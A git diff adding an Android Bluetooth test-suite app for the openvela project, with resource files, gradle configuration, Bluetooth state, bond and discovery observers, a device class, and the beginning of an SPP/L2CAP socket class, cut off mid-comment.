\ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/tools/test_suite/android/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100755 index 0000000000000000000000000000000000000000..67820c56db8c0f98a81aeb4c112c7032b5c22eea --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ +<?xml version="1.0" encoding="utf-8"?> +<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android"> + <background android:drawable="@color/ic_launcher_background"/> + <foreground android:drawable="@mipmap/ic_launcher_foreground"/> +</adaptive-icon> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/mipmap-hdpi/ic_launcher.webp b/tools/test_suite/android/app/src/main/res/mipmap-hdpi/ic_launcher.webp new file mode 100755 index 0000000000000000000000000000000000000000..93e024c5cb5ce876b514dda075650ef560688098 Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-hdpi/ic_launcher.webp differ diff --git a/tools/test_suite/android/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.webp b/tools/test_suite/android/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.webp new file mode 100755 index 0000000000000000000000000000000000000000..0054dab95befa72ed37334dc84afa7032a8cf2ab Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-hdpi/ic_launcher_foreground.webp differ diff --git a/tools/test_suite/android/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp b/tools/test_suite/android/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp new file mode 100755 index 0000000000000000000000000000000000000000..df7da53dd77cca2a849520206e3d2112baad531f Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp differ diff --git a/tools/test_suite/android/app/src/main/res/mipmap-mdpi/ic_launcher.webp b/tools/test_suite/android/app/src/main/res/mipmap-mdpi/ic_launcher.webp new file mode 100755 index 0000000000000000000000000000000000000000..a37821730d0e8fa54d400d5000ba98112773d447 Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-mdpi/ic_launcher.webp differ diff --git a/tools/test_suite/android/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.webp b/tools/test_suite/android/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.webp new file mode 100755 index 0000000000000000000000000000000000000000..1e57a8dba403993c697f6d03c32a7698e2355da2 Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-mdpi/ic_launcher_foreground.webp differ diff --git a/tools/test_suite/android/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp b/tools/test_suite/android/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp new file mode 100755 index 0000000000000000000000000000000000000000..4179ef90e72f9c288de3851d92dfd3ecd84717cc Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp differ diff --git a/tools/test_suite/android/app/src/main/res/mipmap-xhdpi/ic_launcher.webp b/tools/test_suite/android/app/src/main/res/mipmap-xhdpi/ic_launcher.webp new file mode 100755 index 0000000000000000000000000000000000000000..14b8fd9b6b6942de189e8494abbe620725cacc52 Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-xhdpi/ic_launcher.webp differ diff --git a/tools/test_suite/android/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.webp b/tools/test_suite/android/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.webp new file mode 100755 index 0000000000000000000000000000000000000000..1efcd0de2151e71b602acb81bed7128b585a1ab7 Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-xhdpi/ic_launcher_foreground.webp differ diff --git a/tools/test_suite/android/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp b/tools/test_suite/android/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp new file mode 100755 index 0000000000000000000000000000000000000000..4c9080cd35ecdb016f28622162a21e3faae884c9 Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp differ diff --git a/tools/test_suite/android/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp b/tools/test_suite/android/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp new file mode 100755 index 0000000000000000000000000000000000000000..e0a2cd842721c9aff0d170a6043d37b993d789b3 Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp differ diff --git a/tools/test_suite/android/app/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.webp b/tools/test_suite/android/app/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.webp new file mode 100755 index 0000000000000000000000000000000000000000..0a3496918792cc8c483b7259966e670182f71e05 Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.webp differ diff --git a/tools/test_suite/android/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp b/tools/test_suite/android/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp new file mode 100755 index 0000000000000000000000000000000000000000..c3df46230a331577e3b9435db00bf25cc0bc7ba7 Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp differ diff --git a/tools/test_suite/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp b/tools/test_suite/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp new file mode 100755 index 0000000000000000000000000000000000000000..20f65682ec4814febcd8e5dea9b0800d6fe83b4a Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp differ diff --git a/tools/test_suite/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.webp b/tools/test_suite/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.webp new file mode 100755 index 0000000000000000000000000000000000000000..62f745e7e191b8811100f162853b81e959715efd Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.webp differ diff --git a/tools/test_suite/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp b/tools/test_suite/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp new file mode 100755 index 0000000000000000000000000000000000000000..c930d99c270ba5126a0427bafd76854180764752 Binary files /dev/null and b/tools/test_suite/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp differ diff --git a/tools/test_suite/android/app/src/main/res/values-night/themes.xml b/tools/test_suite/android/app/src/main/res/values-night/themes.xml new file mode 100755 index 0000000000000000000000000000000000000000..4fea9bd231db74831f79b1b186b9f957e9e784d4 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/values-night/themes.xml @@ -0,0 +1,7 @@ +<resources xmlns:tools="http://schemas.android.com/tools"> + <!-- Base application theme. --> + <style name="Base.Theme.BluetoothTest" parent="Theme.Material3.DayNight.NoActionBar"> + <!-- Customize your dark theme here. --> + <!-- <item name="colorPrimary">@color/my_dark_primary</item> --> + </style> +</resources> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/values/colors.xml b/tools/test_suite/android/app/src/main/res/values/colors.xml new file mode 100755 index 0000000000000000000000000000000000000000..bc29b00b05ed6e5d34f198acd5b427593619c35c --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/values/colors.xml @@ -0,0 +1,12 @@ +<?xml version="1.0" encoding="utf-8"?> +<resources> + <color name="black">#FF000000</color> + <color name="white">#FFFFFFFF</color> + <color name="colorPrimary">#0074FF</color> + <color name="colorPrimaryDark">#001EFF</color> + <color name="colorAccent">#D81B60</color> + <color name="colorWarn">#B22222</color> + <color name="text">#909090</color> + <color name="text_gray">#303030</color> + <color name="text_black">#5c5c5c</color> +</resources> diff --git a/tools/test_suite/android/app/src/main/res/values/ic_launcher_background.xml b/tools/test_suite/android/app/src/main/res/values/ic_launcher_background.xml new file mode 100755 index 0000000000000000000000000000000000000000..2824a445a64ed91be040523393219d43777ac868 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/values/ic_launcher_background.xml @@ -0,0 +1,4 @@ +<?xml version="1.0" encoding="utf-8"?> +<resources> + <color name="ic_launcher_background">#0074FF</color> +</resources> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/values/strings.xml b/tools/test_suite/android/app/src/main/res/values/strings.xml new file mode 100755 index 0000000000000000000000000000000000000000..958a943b1381bbb84f00ec719225beff13d463e3 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/values/strings.xml @@ -0,0 +1,17 @@ +<resources> + <string name="app_name">Bluetooth Test Suite</string> + <string name="bredr_on_off">On/Off</string> + <string name="enable">Enable</string> + <string name="disable">Disable</string> + <string name="cycle_test">Cycle Test</string> + <string name="bredr_inquiry">BREDR Inquiry</string> + <string name="bond">Create/Remove Bond</string> + <string name="spp">SPP</string> + <string name="bredr_l2cap">BREDR L2CAP</string> + <string name="ble_l2cap">BLE L2CAP</string> + <string name="register">Register</string> + <string name="unregister">Unregister</string> + <string name="ble_scan">BLE Scan</string> + <string name="ble_central">BLE Central</string> + <string name="ble_peripheral">BLE Peripheral</string> +</resources> diff --git a/tools/test_suite/android/app/src/main/res/values/themes.xml b/tools/test_suite/android/app/src/main/res/values/themes.xml new file mode 100755 index 0000000000000000000000000000000000000000..399630feb6d232b10e4def4d2dc862b4e644f458 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/values/themes.xml @@ -0,0 +1,11 @@ +<resources xmlns:tools="http://schemas.android.com/tools"> + <!-- Base application theme. --> + <style name="Base.Theme.BluetoothTest" parent="Theme.AppCompat.Light.DarkActionBar"> + <!-- Customize your theme here. --> + <item name="colorPrimary">@color/colorPrimary</item> + <item name="colorPrimaryDark">@color/colorPrimaryDark</item> + <item name="colorAccent">@color/colorAccent</item> + </style> + + <style name="Theme.BluetoothTest" parent="Base.Theme.BluetoothTest" /> +</resources> diff --git a/tools/test_suite/android/app/src/main/res/xml/backup_rules.xml b/tools/test_suite/android/app/src/main/res/xml/backup_rules.xml new file mode 100755 index 0000000000000000000000000000000000000000..fa0f996d2c2a6bdd11f5371de4268c8389d6c720 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/xml/backup_rules.xml @@ -0,0 +1,13 @@ +<?xml version="1.0" encoding="utf-8"?><!-- + Sample backup rules file; uncomment and customize as necessary. + See https://developer.android.com/guide/topics/data/autobackup + for details. + Note: This file is ignored for devices older that API 31 + See https://developer.android.com/about/versions/12/backup-restore +--> +<full-backup-content> + <!-- + <include domain="sharedpref" path="."/> + <exclude domain="sharedpref" path="device.xml"/> +--> +</full-backup-content> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/main/res/xml/data_extraction_rules.xml b/tools/test_suite/android/app/src/main/res/xml/data_extraction_rules.xml new file mode 100755 index 0000000000000000000000000000000000000000..9ee9997b0b4726e57c27b2f7b21462b604ff8a88 --- /dev/null +++ b/tools/test_suite/android/app/src/main/res/xml/data_extraction_rules.xml @@ -0,0 +1,19 @@ +<?xml version="1.0" encoding="utf-8"?><!-- + Sample data extraction rules file; uncomment and customize as necessary. + See https://developer.android.com/about/versions/12/backup-restore#xml-changes + for details. +--> +<data-extraction-rules> + <cloud-backup> + <!-- TODO: Use <include> and <exclude> to control what is backed up. + <include .../> + <exclude .../> + --> + </cloud-backup> + <!-- + <device-transfer> + <include .../> + <exclude .../> + </device-transfer> + --> +</data-extraction-rules> \ No newline at end of file diff --git a/tools/test_suite/android/app/src/test/java/com/openvela/bluetoothtest/ExampleUnitTest.java b/tools/test_suite/android/app/src/test/java/com/openvela/bluetoothtest/ExampleUnitTest.java new file mode 100755 index 0000000000000000000000000000000000000000..963e4c94430aecc85a43a00f562f194d018bd6b6 --- /dev/null +++ b/tools/test_suite/android/app/src/test/java/com/openvela/bluetoothtest/ExampleUnitTest.java @@ -0,0 +1,17 @@ +package com.openvela.bluetoothtest; + +import org.junit.Test; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see <a href="http://d.android.com/tools/testing">Testing documentation</a> + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() throws Exception { + assertEquals(4, 2 + 2); + } +} \ No newline at end of file diff --git a/tools/test_suite/android/build.gradle b/tools/test_suite/android/build.gradle new file mode 100755 index 0000000000000000000000000000000000000000..f3f37b64e88f5bc5fc83478eab6e971a6c3a919c --- /dev/null +++ b/tools/test_suite/android/build.gradle @@ -0,0 +1,9 @@ +// Top-level build file where you can add configuration options common to all sub-projects/modules. +plugins { + id 'com.android.application' version '8.9.1' apply false + id 'com.android.library' version '8.9.1' apply false +} + +tasks.register('clean', Delete) { + delete rootProject.getLayout().getBuildDirectory() +} \ No newline at end of file diff --git a/tools/test_suite/android/core/.gitignore b/tools/test_suite/android/core/.gitignore new file mode 100755 index 0000000000000000000000000000000000000000..796b96d1c402326528b4ba3c12ee9d92d0e212e9 --- /dev/null +++ b/tools/test_suite/android/core/.gitignore @@ -0,0 +1 @@ +/build diff --git a/tools/test_suite/android/core/build.gradle b/tools/test_suite/android/core/build.gradle new file mode 100755 index 0000000000000000000000000000000000000000..409905f153644994658fa1b4f5599ae2dda27003 --- /dev/null +++ b/tools/test_suite/android/core/build.gradle @@ -0,0 +1,33 @@ +plugins { + id 'com.android.library' +} + +android { + namespace 'com.openvela.bluetoothtest' + compileSdk 34 + + defaultConfig { + minSdk 29 + targetSdk 34 + + testInstrumentationRunner 'androidx.test.runner.AndroidJUnitRunner' + } + + buildTypes { + release { + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' + } + } + + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } +} + +dependencies { + implementation fileTree(dir: 'libs', include: ['*.jar']) + implementation 'androidx.appcompat:appcompat:1.6.1' + implementation 'androidx.recyclerview:recyclerview:1.3.2' +} diff --git a/tools/test_suite/android/core/proguard-rules.pro b/tools/test_suite/android/core/proguard-rules.pro new file mode 100755 index 0000000000000000000000000000000000000000..481bb434814107eb79d7a30b676d344b0df2f8ce --- /dev/null +++ b/tools/test_suite/android/core/proguard-rules.pro @@ -0,0 +1,21 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile \ No newline at end of file diff --git a/tools/test_suite/android/core/src/main/AndroidManifest.xml b/tools/test_suite/android/core/src/main/AndroidManifest.xml new file mode 100755 index 0000000000000000000000000000000000000000..19e046cd634bab1ffa7a6bfc04c6d332af731a86 --- /dev/null +++ b/tools/test_suite/android/core/src/main/AndroidManifest.xml @@ -0,0 +1,8 @@ +<manifest xmlns:android="http://schemas.android.com/apk/res/android"> + + <uses-permission android:name="android.permission.BLUETOOTH" /> + <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" /> + <uses-permission android:name="android.permission.BLUETOOTH_SCAN" /> + <uses-permission android:name="android.permission.BLUETOOTH_ADVERTISE" /> + <uses-permission android:name="android.permission.BLUETOOTH_CONNECT" /> +</manifest> diff --git a/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BluetoothBondStateObserver.java b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BluetoothBondStateObserver.java new file mode 100644 index 0000000000000000000000000000000000000000..60d4873f30625af4b9567b662ac94f34153a096f --- /dev/null +++ b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BluetoothBondStateObserver.java @@ -0,0 +1,83 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetooth; + +import android.bluetooth.BluetoothAdapter; +import android.bluetooth.BluetoothDevice; +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; +import android.content.IntentFilter; +import android.util.Log; + +import com.openvela.bluetooth.callback.BluetoothBondStateCallback; +import com.openvela.bluetooth.callback.BluetoothStateCallback; + +public class BluetoothBondStateObserver extends BroadcastReceiver { + private final String TAG = "BluetoothBondStateObserver"; + private static final boolean DBG = false; + private final Context context; + private BluetoothBondStateCallback bluetoothBondStateCallback; + + public BluetoothBondStateObserver(Context context){ + this.context = context; + } + + public void registerReceiver(BluetoothBondStateCallback callback) { + final IntentFilter filter = new IntentFilter(); + filter.addAction(BluetoothDevice.ACTION_BOND_STATE_CHANGED); + context.registerReceiver(this, filter); + if (DBG) + Log.d(TAG, "registerReceiver: ACTION_BOND_STATE_CHANGED"); + this.bluetoothBondStateCallback = callback; + } + + public void unregisterReceiver() { + try { + context.unregisterReceiver(this); + if (DBG) + Log.d(TAG, "unregisterReceiver: ACTION_BOND_STATE_CHANGED"); + this.bluetoothBondStateCallback = null; + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void onReceive(Context context, Intent intent) { + String action = intent.getAction(); + if (action == null) + return; + + if (action.equals(BluetoothDevice.ACTION_BOND_STATE_CHANGED)) { + int bondState = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.ERROR); + BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE); + if (DBG) + Log.d(TAG, "onReceive Bond State = " + bondState); + + if (bondState == BluetoothDevice.BOND_BONDED) { + if (bluetoothBondStateCallback != null) { + bluetoothBondStateCallback.onBonded(device); + } + } else if (bondState == BluetoothDevice.BOND_NONE) { + if (bluetoothBondStateCallback != null) { + bluetoothBondStateCallback.onBondRemoved(device); + } + } + } + } +} diff --git a/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BluetoothDiscoveryObserver.java b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BluetoothDiscoveryObserver.java new file mode 100755 index 0000000000000000000000000000000000000000..bd854878182e547a8d64aba5ccb201996e7582d9 --- /dev/null +++ b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BluetoothDiscoveryObserver.java @@ -0,0 +1,94 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetooth; + +import android.bluetooth.BluetoothAdapter; +import android.bluetooth.BluetoothDevice; +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; +import android.content.IntentFilter; + +import com.openvela.bluetooth.callback.BluetoothDiscoveryCallback; + +public class BluetoothDiscoveryObserver extends BroadcastReceiver { + private final Context context; + private final BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); + private BluetoothDiscoveryCallback<BtDevice> bluetoothDiscoveryCallback; + + public BluetoothDiscoveryObserver(Context context){ + this.context = context; + } + + public boolean isDiscovering() { + return bluetoothAdapter.isDiscovering(); + } + + public void startDiscovery() { + bluetoothAdapter.startDiscovery(); + } + + public void cancelDiscovery() { + bluetoothAdapter.cancelDiscovery(); + } + + public void registerReceiver(BluetoothDiscoveryCallback<BtDevice> callback) { + final IntentFilter filter = new IntentFilter(); + filter.addAction(BluetoothAdapter.ACTION_DISCOVERY_STARTED); + filter.addAction(BluetoothAdapter.ACTION_DISCOVERY_FINISHED); + filter.addAction(BluetoothDevice.ACTION_FOUND); + context.registerReceiver(this, filter); + this.bluetoothDiscoveryCallback = callback; + } + + public void unregisterReceiver() { + try { + context.unregisterReceiver(this); + this.bluetoothDiscoveryCallback = null; + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void onReceive(Context context, Intent intent) { + String action = intent.getAction(); + if (action == null) + return; + + switch(action) { + case BluetoothAdapter.ACTION_DISCOVERY_STARTED: + if (bluetoothDiscoveryCallback != null) + bluetoothDiscoveryCallback.onStart(); + break; + case BluetoothAdapter.ACTION_DISCOVERY_FINISHED: + if (bluetoothDiscoveryCallback != null) + bluetoothDiscoveryCallback.onStop(); + break; + case BluetoothDevice.ACTION_FOUND: + BluetoothDevice bluetoothDevice = intent.getParcelableExtra(android.bluetooth.BluetoothDevice.EXTRA_DEVICE); + int rssi = intent.getShortExtra(android.bluetooth.BluetoothDevice.EXTRA_RSSI, Short.MIN_VALUE); + BtDevice btDevice = new BtDevice(bluetoothDevice.getAddress(), bluetoothDevice.getName()); + btDevice.setRssi(rssi); + if (bluetoothDiscoveryCallback != null) + bluetoothDiscoveryCallback.onDiscoveryResult(btDevice); + break; + default: + break; + } + } +} diff --git a/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BluetoothStateObserver.java b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BluetoothStateObserver.java new file mode 100755 index 0000000000000000000000000000000000000000..5e13b02e714e235fb28aa9f9d68a3a0f219164d7 --- /dev/null +++ b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BluetoothStateObserver.java @@ -0,0 +1,80 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetooth; + +import android.bluetooth.BluetoothAdapter; +import android.content.BroadcastReceiver; +import android.content.Context; +import android.content.Intent; +import android.content.IntentFilter; +import android.util.Log; + +import com.openvela.bluetooth.callback.BluetoothStateCallback; + +public class BluetoothStateObserver extends BroadcastReceiver { + private final String TAG = "BluetoothStateObserver"; + private static final boolean DBG = false; + private final Context context; + private BluetoothStateCallback bluetoothStateCallback; + + public BluetoothStateObserver(Context context){ + this.context = context; + } + + public void registerReceiver(BluetoothStateCallback callback) { + final IntentFilter filter = new IntentFilter(); + filter.addAction(BluetoothAdapter.ACTION_STATE_CHANGED); + context.registerReceiver(this, filter); + if (DBG) + Log.d(TAG, "registerReceiver"); + this.bluetoothStateCallback = callback; + } + + public void unregisterReceiver() { + try { + context.unregisterReceiver(this); + if (DBG) + Log.d(TAG, "unregisterReceiver"); + this.bluetoothStateCallback = null; + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void onReceive(Context context, Intent intent) { + String action = intent.getAction(); + if (action == null) + return; + + if (action.equals(BluetoothAdapter.ACTION_STATE_CHANGED)) { + int status = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, BluetoothAdapter.ERROR); + if (DBG) + Log.d(TAG, "onReceive" + status); + + if (status == BluetoothAdapter.STATE_ON) { + if (bluetoothStateCallback != null) { + bluetoothStateCallback.onEnabled(); + } + } else if (status == BluetoothAdapter.STATE_OFF) { + if (bluetoothStateCallback != null) { + bluetoothStateCallback.onDisabled(); + } + } + } + } +} diff --git a/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BtDevice.java b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BtDevice.java new file mode 100755 index 0000000000000000000000000000000000000000..61167b71f0d17ee7f39c2395fc1ee77e12e03f90 --- /dev/null +++ b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BtDevice.java @@ -0,0 +1,129 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +package com.openvela.bluetooth; + +import android.os.Parcel; +import android.os.Parcelable; + +import android.bluetooth.BluetoothProfile; +import android.bluetooth.le.ScanRecord; + +import androidx.annotation.RestrictTo; + +public class BtDevice implements Parcelable { + private int connectionState = BluetoothProfile.STATE_CONNECTED; + private String address; + private String name; + private int rssi; + private boolean connectable; + private ScanRecord scanRecord; + private long rssiUpdateTime; + + public BtDevice(String address, String name) { + this.address = address; + this.name = name; + } + + protected BtDevice(Parcel in) { + this.connectionState = in.readInt(); + this.address = in.readString(); + this.name = in.readString(); + this.connectable = in.readBoolean(); + } + + @RestrictTo(RestrictTo.Scope.LIBRARY_GROUP) + public static final Creator<BtDevice> CREATOR = new Creator<BtDevice>() { + @Override + public BtDevice createFromParcel(Parcel in) { + return new BtDevice(in); + } + + @Override + public BtDevice[] newArray(int size) { + return new BtDevice[size]; + } + }; + + @Override + public void writeToParcel(Parcel dest, int flags) { + dest.writeInt(this.connectionState); + dest.writeString(this.address); + dest.writeString(this.name); + dest.writeBoolean(this.connectable); + } + + @Override + public int describeContents() { + return 0; + } + + public int getConnectionState() { + return this.connectionState; + } + + public void setConnectionState(int state) { + this.connectionState = state; + } + + public String getAddress() { + return this.address; + } + + public void setAddress(String address) { + this.address = address; + } + + public String getName() { + return this.name; + } + + public void setName(String name) { + this.name = name; + } + + public int getRssi() { + return this.rssi; + } + + public void setRssi(int rssi) { + this.rssi = rssi; + } + + public boolean isConnectable() { + return this.connectable; + } + + public void setConnectable(boolean Connectable) { + this.connectable = Connectable; + } + + public ScanRecord getScanRecord() { + return this.scanRecord; + } + + public void setScanRecord(ScanRecord scanRecord) { + this.scanRecord = scanRecord; + } + + public long getRssiUpdateTime() { + return this.rssiUpdateTime; + } + + public void setRssiUpdateTime(long rssiUpdateTime) { + this.rssiUpdateTime = rssiUpdateTime; + } +} diff --git a/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BtSock.java b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BtSock.java new file mode 100644 index 0000000000000000000000000000000000000000..de330ee83ff2b6f2dffa73d81aab47deeef78839 --- /dev/null +++ b/tools/test_suite/android/core/src/main/java/com/openvela/bluetooth/BtSock.java @@ -0,0 +1,701 @@ +package com.openvela.bluetooth; + +import static androidx.core.content.ContextCompat.getSystemService; + +import android.bluetooth.BluetoothAdapter; +import android.bluetooth.BluetoothDevice; +import android.bluetooth.BluetoothManager; +import android.bluetooth.BluetoothServerSocket; +import android.bluetooth.BluetoothSocket; +import android.bluetooth.le.AdvertiseCallback; +import android.bluetooth.le.AdvertiseData; +import android.bluetooth.le.AdvertiseSettings; +import android.bluetooth.le.BluetoothLeAdvertiser; +import android.content.Context; +import android.os.Bundle; +import android.os.Handler; +import android.os.Message; +import android.os.ParcelUuid; +import android.util.Log; + +import java.io.BufferedInputStream; +import java.io.BufferedOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.util.UUID; +import java.util.zip.CRC32; + +public class BtSock { + private final String TAG = "BtSock"; + private int mSockRole; + private final int SOCK_ROLE_UNKNOWN = 0; + private final int SOCK_ROLE_SERVER = 1; + private final int SOCK_ROLE_CLIENT = 2; + + private int mSockRxState; + private final int SOCK_RX_STATE_IDLE = 0; + private final int SOCK_RX_STATE_RECEIVING = 1; + + private int mSockTxState; + private final int SOCK_TX_STATE_IDLE = 0; + private final int SOCK_TX_STATE_SENDING = 0; + private String mVar; + public static final int MESSAGE_SOCK_LOGGING = 1; + private BluetoothAdapter bluetoothAdapter; + + // It's used for Client or Server, for Server role, it means accepted socket + private BluetoothSocket mSocket; + // It's used only for Server + private BluetoothServerSocket mServerSocket; + + // It's used for reading + private BufferedInputStream mInputStream; + + // it's used for writing + private BufferedOutputStream mOutputStream; + // To Update UI + private Handler mHandler; + // Thread to sending data + private TxThread mTxThread; + + // For Tput calculation + private int mTotalSize; + private long mStartTime; + private long mStopTime; + // BtSock index + private int mIndex; + // BtSock type + private int mType; + // cycles to do send operation + private int mCycles; + private String mStringToSend; + private long mCrcValue; + private StringBuffer mReceivedStrBuf; + public static final int SOCK_TYPE_SPP_INSECURE = 0; + public static final int SOCK_TYPE_SPP_SECURE = 1; + public static final int SOCK_TYPE_L2CAP_BREDR_INSECURE = 2; + public static final int SOCK_TYPE_L2CAP_BREDR_SECURE = 3; + public static final int SOCK_TYPE_L2CAP_BLE_INSECURE = 4; + public static final int SOCK_TYPE_L2CAP_BLE_SECURE = 5; + + public BtSock(int index, int type, Handler handler) { + mIndex = index; + mType = type; + mHandler = handler; + + bluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); + if (bluetoothAdapter == null) { + Log.e(TAG, "Device doesn't support Bluetooth"); + return; + } + + mSockRole = SOCK_ROLE_UNKNOWN; + mReceivedStrBuf = new StringBuffer(); + } + + // var means UUID, for SOCK_TYPE_SPP_xxx + // var means PSM, for SOCK_TYPE_L2CAP_BLE_xxx + // var means Channel, for 